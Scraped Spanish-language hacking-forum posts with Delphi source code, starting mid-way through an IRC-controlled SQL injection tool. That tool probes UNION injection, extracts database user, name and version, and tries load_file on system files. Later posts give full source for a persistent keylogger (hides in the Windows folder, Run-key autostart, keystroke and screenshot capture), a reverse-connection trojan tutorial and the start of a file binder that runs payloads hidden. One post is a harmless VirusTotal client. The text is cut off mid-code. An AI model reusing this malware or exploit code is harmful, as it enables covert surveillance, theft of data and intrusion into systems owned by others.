            (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=1' +
              pass2);

          codedos := IdHTTP1.Get
            (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=0' +
              pass2);

          if not(code = codedos) then
          begin

            IdIRC1.Say(ANicknameFrom, '[+] Vulnerable !');

            sStatusBar1.Panels[0].Text := '[+] Finding columns number';
            Form2.sStatusBar1.Update;

            IdIRC1.Say(ANicknameFrom, '[+] Finding columns number');

            urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' +
              pass1 + 'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
            urlgen := '1';
            for i := 2 to 36 do
            begin
              sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
              Form2.sStatusBar1.Update;
              urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
                + ',0x4b30425241)';
              urlgen := urlgen + ',' + IntToStr(i);
              code := IdHTTP1.Get(PerlRegEx1.SubExpressions[1] + urltest + pass2);
              PerlRegEx2.Regex := 'K0BRA(.*?)K0BRA';
              PerlRegEx2.Subject := code;

              if PerlRegEx2.Match then
              begin

                IdIRC1.Say(ANicknameFrom, '[+] Columns Length : ' + IntToStr(i));
                IdIRC1.Say(ANicknameFrom,
                  '[+] The number ' + PerlRegEx2.SubExpressions[1] + ' show data');

                urlgen := StringReplace(urlgen, PerlRegEx2.SubExpressions[1],
                  'hackman', []);
                full := PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' +
                  pass1 + '1=0' + pass1 + 'union' + pass1 + 'select' + pass1 +
                  urlgen;

                IdIRC1.Say(ANicknameFrom, '[+] Link : ' + full);

                //

                pass1 := '+';
                pass2 := '--';

                hextest := '0x2f6574632f706173737764'; // /etc/passwd
                hextest := '0x633A2F78616D70702F726561642E747874';
                // #c:/xampp/read.txt

                web1 := StringReplace(full, 'hackman', '0x4b30425241', []);
                web2 := StringReplace(full, 'hackman',
                  'concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)', []);
                web3 := StringReplace(full, 'hackman',
                  'unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(' +
                    hextest + '))))', []);

                sStatusBar1.Panels[0].Text := '[+] Getting more data ...';
                Form2.sStatusBar1.Update;

                code := IdHTTP1.Get
                  (web1 + pass1 + 'from' + pass1 + 'mysql.user' + pass2);
                PerlRegEx2.Regex := 'K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] mysqluser : ON');
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] mysqluser : OFF');
                end;

                code := IdHTTP1.Get(web1 + pass1 + 'from' + pass1 +
                    'information_schema.tables' + pass2);
                PerlRegEx2.Regex := 'K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin

                  IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : ON');
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : OFF');
                end;

                code := IdHTTP1.Get(web3);
                PerlRegEx2.Regex := 'K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] load_file : ON');
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] load_file : OFF');
                end;

                sStatusBar1.Panels[0].Text := '[+] Getting DB details ...';
                Form2.sStatusBar1.Update;

                code := IdHTTP1.Get(web2);

                PerlRegEx2.Regex := 'K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin

                  IdIRC1.Say(ANicknameFrom,
                    '[+] User : ' + PerlRegEx2.SubExpressions[1]);
                  IdIRC1.Say(ANicknameFrom,
                    '[+] Database : ' + PerlRegEx2.SubExpressions[2]);
                  IdIRC1.Say(ANicknameFrom,
                    '[+] Version : ' + PerlRegEx2.SubExpressions[3]);

                  sStatusBar1.Panels[0].Text := '[+] Done';
                  Form2.sStatusBar1.Update;
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[-] DB details not found');
                  sStatusBar1.Panels[0].Text := '[-] DB details not found';
                  Form2.sStatusBar1.Update;
                end;


                //

                sStatusBar1.Panels[0].Text := '[+] Done';
                Form2.sStatusBar1.Update;

                IdIRC1.Say(ANicknameFrom, '[+] Done');

                sMemo1.Lines.Add('[+] SQLI Scanner : Finished');

                sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
                Form2.sStatusBar1.Update;

                IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');

                abort;
              end
            end;
            sStatusBar1.Panels[0].Text := '[-] Columns Length not found';
            Form2.sStatusBar1.Update;
            IdIRC1.Say(ANicknameFrom, '[-] Columns Length not found');
          end
          else
          begin
            sStatusBar1.Panels[0].Text := '[-] Not vulnerable';
            Form2.sStatusBar1.Update;
            IdIRC1.Say(ANicknameFrom, '[-] Not vulnerable');
          end;

          sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');

          sMemo1.Lines.Add('[+] SQLI Scanner : Finished');

        end;

      end;
    end;

    procedure TForm2.sButton1Click(Sender: TObject);
    var
      nick: string;
    begin

      nick := 'ClapTrap';

      IdIRC1.Host := sEdit1.Text;
      IdIRC1.Port := StrToInt(sEdit2.Text);
      IdIRC1.Nickname := nick;
      IdIRC1.Username := nick + ' 1 1 1 1';
      IdIRC1.AltNickname := nick + '-l33t';

      try

        IdIRC1.Connect;
        IdIRC1.Join(sEdit3.Text);

        sStatusBar1.Panels[0].Text := '[+] Connected';
        Form2.sStatusBar1.Update;

      except
        sStatusBar1.Panels[0].Text := '[-] Error';
        Form2.sStatusBar1.Update;
      end;

    end;

    procedure TForm2.sButton2Click(Sender: TObject);
    begin

      IdIRC1.Part(sEdit3.Text);
      IdIRC1.Disconnect();

      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form2.sStatusBar1.Update;

    end;

    end.

    // The End ?


    En honor a ClapTrap el robot gracioso de BorderLands xDD.

    Si lo quieren bajar lo pueden hacer de aca.
#147
Programación General / [Delphi] DH KeyCagator 0.2
8 Noviembre 2013, 16:42 PM
Un simple keylogger en delphi , en esta version se podria decir que es un "prototipo" ya que en la proxima version de este keylogger me concentrare en ciertos detalles.

El keylogger tiene las siguientes funciones :

  • Captura teclas reconociendo mayusculas y minusculas
  • Captura el nombre de la ventana actual
  • Captura un screenshot del escritorio cada 1 hora
  • Guarda todos los registros en un archivo HTML "ordenado"
  • Oculta todos los archivos relacionados con el keylogger
  • Se mueve y oculta en una carpeta de Windows
  • Se carga cada vez que inicia Windows

    * Usen shift+F9 para abrir el panel de control.

    Unas imagenes :





    El codigo :

    Código (delphi) [Seleccionar]

    // DH Keycagator 0.2
    // (C) Doddy Hackman 2013

    unit dhkey;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, StdCtrls, Registry;

    type
      TForm1 = class(TForm)
        Image1: TImage;
        GroupBox1: TGroupBox;
        Edit1: TEdit;
        Button1: TButton;
        Timer1: TTimer;
        procedure Button1Click(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure FormClose(Sender: TObject; var Action: TCloseAction);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses dhmain;
    {$R *.dfm}

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);

    end;

    procedure TForm1.Button1Click(Sender: TObject);
    var
      password: string;
    begin

      password := '123'; // Edit the password

      if (Edit1.Text = password) then
      begin
        Form1.Hide;
        Form2.Show;
      end
      else
      begin
        ShowMessage('Fuck You');
      end;

    end;

    procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
      Form1.Hide;
      Abort;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    var
      dir: string;
      nombrereal: string;
      rutareal: string;
      yalisto: string;
      her: TRegistry;
    begin

      Application.ShowMainForm := False;

      nombrereal := ExtractFileName(ParamStr(0));
      rutareal := ParamStr(0);
      yalisto := GetEnvironmentVariable('WINDIR') + '/acatoy_xD/' + nombrereal;

      MoveFile(Pchar(rutareal), Pchar(yalisto));

      SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

      her := TRegistry.Create;
      her.RootKey := HKEY_LOCAL_MACHINE;

      her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False);
      her.WriteString('System', yalisto);
      her.Free;

      dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';

      if not(DirectoryExists(dir)) then
      begin
        CreateDir(dir);
      end;

      ChDir(dir);

      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
        FILE_ATTRIBUTE_HIDDEN);
      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
            + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);

      savefile('logs.html',
        '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
      i: integer;
      re: Longint;
    begin

      if (GetAsyncKeyState(VK_SHIFT) <> 0) then
      begin

        re := GetAsyncKeyState(120);
        If re = -32767 then
        Begin
          Form1.Show;
        End;
      end;

    end;

    end.

    // The End ?


    Código (delphi) [Seleccionar]

    // DH KeyCagator 0.2
    // (C) Doddy Hackman 2013

    unit dhmain;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, StdCtrls, ShellApi, Jpeg;

    type
      TForm2 = class(TForm)
        Image1: TImage;
        GroupBox1: TGroupBox;
        GroupBox2: TGroupBox;
        GroupBox3: TGroupBox;
        Button1: TButton;
        Button2: TButton;
        Button3: TButton;
        Button4: TButton;
        Label1: TLabel;
        Timer1: TTimer;
        Timer2: TTimer;
        Timer3: TTimer;
        Image2: TImage;
        Label2: TLabel;
        procedure FormCreate(Sender: TObject);
        procedure Button1Click(Sender: TObject);
        procedure Button2Click(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);
        procedure Timer3Timer(Sender: TObject);
        procedure Button4Click(Sender: TObject);
      private

      private
        Nombre2: string;

        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form2: TForm2;

    implementation

    {$R *.dfm}

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);

    end;

    procedure TForm2.Button1Click(Sender: TObject);
    begin
      Label1.font.color := clLime;
      Label1.Caption := 'Online';
      Timer1.Enabled := True;
      Timer2.Enabled := True;
      Timer3.Enabled := True;
    end;

    procedure TForm2.Button2Click(Sender: TObject);
    begin
      Label1.font.color := clRed;
      Label1.Caption := 'Offline';
      Timer1.Enabled := False;
      Timer2.Enabled := False;
      Timer3.Enabled := False;
    end;

    procedure TForm2.Button3Click(Sender: TObject);
    begin
      ShellExecute(Handle, 'open', 'logs.html', nil, nil, SW_SHOWNORMAL);
    end;

    procedure TForm2.Button4Click(Sender: TObject);
    begin
      Application.Terminate;
    end;

    procedure TForm2.FormCreate(Sender: TObject);
    var
      dir: string;
    begin

      dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';

      if not(DirectoryExists(dir)) then
      begin
        CreateDir(dir);
      end;

      ChDir(dir);

      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
        FILE_ATTRIBUTE_HIDDEN);
      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
            + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);

      Label1.font.color := clLime;
      Label1.Caption := 'Online';
      Timer1.Enabled := True;
      Timer2.Enabled := True;
      Timer3.Enabled := True;
    end;

    procedure TForm2.Timer1Timer(Sender: TObject);
    var
      i: integer;
      Result: Longint;
      mayus: integer;
      shift: integer;

    const

      n_numeros_izquierda: array [1 .. 10] of string =
        ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

    const
      t_numeros_izquierda: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_numeros_derecha: array [1 .. 10] of string =
        ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

    const
      t_numeros_derecha: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
        '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
        '291', '220', '221', '222', '226');

    const
      t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
        '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
        '|');

    const
      n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
        '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
        '226');

    const
      t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
        '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
        ' / ', ' \ \ \ ', ']', '[', '~', '\/');

    begin

      // Others

      for i := Low(n_raros) to High(n_raros) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_raros[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_raros[i]);
        end;
      end;

      // Numbers

      for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_numeros_derecha[i]);
        end;
      end;

      for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_numeros_izquierda[i]);
        end;
      end;

      // SHIFT

      if (GetAsyncKeyState(VK_SHIFT) <> 0) then
      begin

        for i := Low(n_shift) to High(n_shift) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_shift[i]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_shift[i]);
          end;
        end;

        for i := 65 to 90 do
        begin
          Result := GetAsyncKeyState(i);
          If Result = -32767 then
          Begin
            savefile('logs.html', Chr(i + 0));
          End;
        end;

      end;

      // MAYUS

      if (GetKeyState(20) = 0) then
      begin
        mayus := 32;
      end
      else
      begin
        mayus := 0;
      end;

      for i := 65 to 90 do
      begin
        Result := GetAsyncKeyState(i);
        If Result = -32767 then
        Begin
          savefile('logs.html', Chr(i + mayus));
        End;
      end;

    end;

    procedure TForm2.Timer2Timer(Sender: TObject);
    var
      ventana1: array [0 .. 255] of char;
      nombre1: string;

    begin

      GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));

      nombre1 := ventana1;

      if not(nombre1 = Nombre2) then
      begin
        Nombre2 := nombre1;
        savefile('logs.html',
          '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
      end;

    end;

    procedure TForm2.Timer3Timer(Sender: TObject);
    var
      foto1: TBitmap;
      foto2: TJpegImage;
      ventana: HDC;
      generado: string;

    begin

      ventana := GetWindowDC(GetDesktopWindow);

      foto1 := TBitmap.Create;
      foto1.PixelFormat := pf24bit;
      foto1.Height := Screen.Height;
      foto1.Width := Screen.Width;

      BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
        SRCCOPY);

      foto2 := TJpegImage.Create;
      foto2.Assign(foto1);
      foto2.CompressionQuality := 60;

      generado := IntToStr(Random(100)) + '.jpg';

      foto2.SaveToFile(generado);
      SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
            + '/acatoy_xD/' + generado), FILE_ATTRIBUTE_HIDDEN);

      savefile('logs.html', '<br><br><center><img src=' + generado +
          '></center><br><br>');

    end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de aca.
#148
Un simple programa en Delphi para usar el API de VirusTotal.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// VirusTotal Scanner 0.1
// (C) Doddy Hackman 2013

unit virus;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, StdCtrls, sButton, sMemo, IdMultipartFormData, DBXJSON,
  PerlRegEx, IdHashMessageDigest, idHash, sEdit, sGroupBox, ComCtrls, sListView,
  sStatusBar, acPNG, ExtCtrls;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    sSkinManager1: TsSkinManager;
    PerlRegEx1: TPerlRegEx;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    OpenDialog1: TOpenDialog;
    sGroupBox2: TsGroupBox;
    sListView1: TsListView;
    sStatusBar1: TsStatusBar;
    sGroupBox3: TsGroupBox;
    sMemo1: TsMemo;
    sGroupBox4: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton4: TsButton;
    sButton5: TsButton;
    Image1: TImage;

    procedure FormCreate(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton5Click(Sender: TObject);

  private

    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function convertirmd5(const archivo: string): string;
var
  valormd5: TIdHashMessageDigest5;
  archivox: TFileStream;
begin

  valormd5 := TIdHashMessageDigest5.Create;
  archivox := TFileStream.Create(archivo, fmOpenRead);
  Result := valormd5.HashStreamAsHex(archivox)

end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'falloutstyle';
  sSkinManager1.Active := True;

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  OpenDialog1.InitialDir := GetCurrentDir;
  if OpenDialog1.Execute then
  begin
    sEdit1.Text := OpenDialog1.filename;
  end;
end;

procedure TForm1.sButton2Click(Sender: TObject);

var
  datos: TIdMultiPartFormDataStream;
  code: string;
  antivirus: string;
  resultado: string;

  html: string;

begin

  if FileExists(sEdit1.Text) then
  begin

    sMemo1.Clear;
    sListView1.Clear;

    sStatusBar1.Panels[0].Text := '[+] Scanning ...';
    Form1.sStatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('resource', convertirmd5(sEdit1.Text));
    datos.AddFormField('apikey',
      'fuck you');

    code := IdHTTP1.Post('http://www.virustotal.com/vtapi/v2/file/report',
      datos);

    code := StringReplace(code, '{"scans":', '', [rfReplaceAll, rfIgnoreCase]);

    PerlRegEx1.Regex :=
      '"(.*?)": {"detected": (.*?), "version": (.*?), "result": (.*?), "update": (.*?)}';
    PerlRegEx1.Subject := code;

    while PerlRegEx1.MatchAgain do
    begin

      antivirus := PerlRegEx1.SubExpressions[1];
      resultado := PerlRegEx1.SubExpressions[4];
      resultado := StringReplace
        (resultado, '"', '', [rfReplaceAll, rfIgnoreCase]);

      with sListView1.Items.Add do
      begin
        Caption := antivirus;
        if (resultado = 'null') then
        begin
          SubItems.Add('Clean');
        end
        else
        begin
          SubItems.Add(resultado);
        end;
      end;

    end;

    PerlRegEx1.Regex := '"scan_id": "(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sMemo1.Lines.Add('[+] Scan_ID : ' + PerlRegEx1.SubExpressions[1]);
    end;

    PerlRegEx1.Regex := '"scan_date": "(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sMemo1.Lines.Add('[+] Scan_Date : ' + PerlRegEx1.SubExpressions[1]);
    end;

    PerlRegEx1.Regex := '"permalink": "(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sMemo1.Lines.Add('[+] PermaLink : ' + PerlRegEx1.SubExpressions[1]);
    end;

    PerlRegEx1.Regex :=
      '"verbose_msg": "(.*?)", "total": (.*?), "positives": (.*?),';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sMemo1.Lines.Add('[+] Founds : ' + PerlRegEx1.SubExpressions[3]
          + '/' + PerlRegEx1.SubExpressions[2]);
    end;
    sStatusBar1.Panels[0].Text := '[+] Done';
    Form1.sStatusBar1.Update;
  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[-] File Not Found';
    Form1.sStatusBar1.Update;
  end;
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton5Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#149
[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa

-- =================--------

0x01 : Introduccion

Hola voy a empezar este corto manual sobre como hacer un troyano de conexion inversa en delphi 2010 , un troyano teoricamente es un software malicioso que sirve para entrar en la computadora de la persona a la que quieren infectar.

En este caso vamos a hacer uno de conexion inversa , tradicionalmente se hacian troyanos de conexion directa donde el infectado se convertia en servidor abriendo un puerto para que el atacante puediera entrar simplemente con una conexion por sockets , pero la onda de ahora es la conexion inversa donde el atacante se convierte en el pobre servidor para que las victimas se conecten a nosotros , lo bueno de la conexion inversa es que a la maquina infectada no le va a saltar el firewall cosa que siempre pasa cuando el infectado recibe el amable cartelito de que si quiere desbloquear un misterioso puerto xDD.

Para esto vamos a necesitar usar los componentes ServerSocket y ClientSocket que tiene delphi.

Para instarlo tenemos que ir a Menu -> components -> install packages

En el menu que les aparece busquen el directorio Archivos de programa -> Embarcadero -> Rad Studio -> 7.0 -> bin -> dclsockets70.bpl

Y listo una vez cargado el archivo bpl les va aparecer en la paleta de internet los componentes ServerSocket y ClientSocket.

Antes de comenzar debemos entender que el servidor seremos nosotros osea el atacante y el cliente la victima , no se vayan a confundir y pensarlo al reves xDD.

0x02 : Creacion del servidor

Primero vamos a crear el servidor , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen :



Para hacer el formulario decente tenemos que agregar lo siguiente.

  • 1 ListBox
  • 2 botones
  • 1 Edit
  • 1 ServerSocket (lo ponemos en true para que este activo )

    Tiene que quedar como esta imagen.



    Una vez hecho elegimos cualquiera de los dos botones con el fin de usarlo para refrescar el listbox con las conexiones activas , entonces hacemos doble click en el boton que elegimos como "Refresh" y ponemos el siguiente codigo.

    Código (delphi) [Seleccionar]

    procedure TForm1.Button1Click(Sender: TObject);
    var
      lugar: integer; // Declaramos la variable lugar como entero
    begin

      ListBox1.Clear; // Limpiamos el contenido de ListBox

      for lugar := 0 To ServerSocket1.Socket.ActiveConnections - 1 do
      // Listamos las conexiones que
      // hay en el server
      begin
        ListBox1.Items.add(ServerSocket1.Socket.Connections[lugar].RemoteHost);
        // Agregamos al ListBox
        // el host del infectado
        // conectado
      end;

    end;


    Tiene que quedar como en la siguiente imagen.



    Entonces pasamos al siguiente boton que lo vamos usar para mandar los comandos al pc infectado , entonces hacemos doble click en el segundo boton y pegamos el siguiente codigo comentado.

    Código (delphi) [Seleccionar]

    procedure TForm1.Button2Click(Sender: TObject);

    begin

      ServerSocket1.Socket.Connections[ListBox1.Itemindex].SendText(Edit1.Text);
      // Mandamos el comando
      // al pc infectado que
      // seleccionamos en el
      // ListBox

    end;


    Una imagen de como deberia quedar el codigo.




    0x03 : Creacion del cliente

    Ahora pasamos al cliente.

    Lo unico que debemos agregar es el componente ClientSocket al formulario.

    Entonces vamos al evento OnCreate del formulario central y pegamos el siguiente codigo.

    Código (delphi) [Seleccionar]

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      ClientSocket1.Host := '127.0.0.1'; // Establecemos el host con valor de nuestro ip local
      ClientSocket1.Port := 666; // Establecemos el puerto que sera 666
      ClientSocket1.Open; // Iniciamos la conexion con el servidor

      Application.ShowMainForm := False; // Ocultamos el formulario para que no se vea la ventana

    end;


    Despues de esto vamos al evento OnRead del componente ClientSocket y copiamos el siguiente codigo comentado.

    Código (delphi) [Seleccionar]

    procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    var
      code: string;
    begin

      // Tenemos que agregar 'uses MMSystem' al inicio del codigo para poder abrir y cerrar la lectora

      code := Socket.ReceiveText; // Capturamos el contenido del socket en la variable code

      if (Pos('opencd', code) > 0) then // Si encontramos opencd en el codigo ...
      begin
        mciSendString('Set cdaudio door open wait', nil, 0, handle);
        // Usamos mciSendString para abrir
        // la lectora
      end;

      if (Pos('closecd', code) > 0) then // Si encontramos closecd en la variable code ...
      begin
        mciSendString('Set cdaudio door closed wait', nil, 0, handle);
        // Cerramos la lectora usando
        // mciSendString
      end;

    end;


    Una imagen de como deberia quedar el codigo.



    0x04 : Probando el programa

    El codigo resulto mas sencillo de lo que esperaba ya que gracias a los eventos lo hice a todo en 5 minutos , entonces vamos y cargamos los ejecutables primero el servidor y despues el cliente.
    Entonces si hicieron todo bien veran que se cargo en el listbox el servidor de una victima que en este caso seria localhost , entonces seleccionamos localhost del listbox y le hacemos click , entonces vamos a usar los dos comandos disponibles que son "opencd" y "closecd".
    Los comandos disponibles solo sirven para abrir y cerrar la lectora pero se pueden hacer muchas cosas solo es cuestion de imaginacion , una idea graciosa seria cargar el word y que le escriba solo , de hecho ya hice eso en mi DH Botnet que esta hecha en Perl y PHP.

    Les muestro una imagen de como seria todo.



    Ya llegamos al final de este corto manual pero les aviso que pronto se viene mi primer troyano de conexion inversa en Delphi.

    --========--
      The End ?
    --========--

    Version PDF.
#150
Programación General / [Delphi] DH Binder 0.3
25 Octubre 2013, 17:05 PM
Un simple Binder que hice en Delphi con las siguientes opciones :

  • Junta todos los archivos que quieran
  • Se puede seleccionar donde se extraen los archivos
  • Se puede cargar los archivos de forma oculta o normal
  • Se puede ocultar los archivos
  • Se puede elegir el icono del ejecutable generado

    Una imagen :



    El codigo del Binder.

    Código (delphi) [Seleccionar]

    // DH Binder 0.3
    // (C) Doddy Hackman 2013
    // Credits :
    // Joiner Based in : "Ex Binder v0.1" by TM
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to TM & Chokstyle

    unit dhbinde;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, acPNG, ExtCtrls, ComCtrls, sListView, sStatusBar,
      StdCtrls, sGroupBox, sButton, sComboBox, sCheckBox, Menus, sEdit, madRes;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        Image1: TImage;
        sGroupBox1: TsGroupBox;
        sStatusBar1: TsStatusBar;
        sListView1: TsListView;
        sGroupBox2: TsGroupBox;
        sGroupBox3: TsGroupBox;
        Image2: TImage;
        sButton1: TsButton;
        sGroupBox4: TsGroupBox;
        sComboBox1: TsComboBox;
        sGroupBox5: TsGroupBox;
        sCheckBox1: TsCheckBox;
        sGroupBox6: TsGroupBox;
        sButton2: TsButton;
        sButton3: TsButton;
        sButton4: TsButton;
        PopupMenu1: TPopupMenu;
        l1: TMenuItem;
        OpenDialog1: TOpenDialog;
        OpenDialog2: TOpenDialog;
        sEdit1: TsEdit;
        C1: TMenuItem;
        procedure l1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure sButton3Click(Sender: TObject);
        procedure sButton4Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses about;
    {$R *.dfm}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    procedure TForm1.C1Click(Sender: TObject);
    begin
      sListView1.Items.Clear;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;

      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog2.InitialDir := GetCurrentDir;
      OpenDialog2.Filter := 'ICO|*.ico|';

    end;

    procedure TForm1.l1Click(Sender: TObject);
    var
      op: String;
    begin

      if OpenDialog1.Execute then
      begin

        op := InputBox('Add File', 'Execute Hide ?', 'Yes');
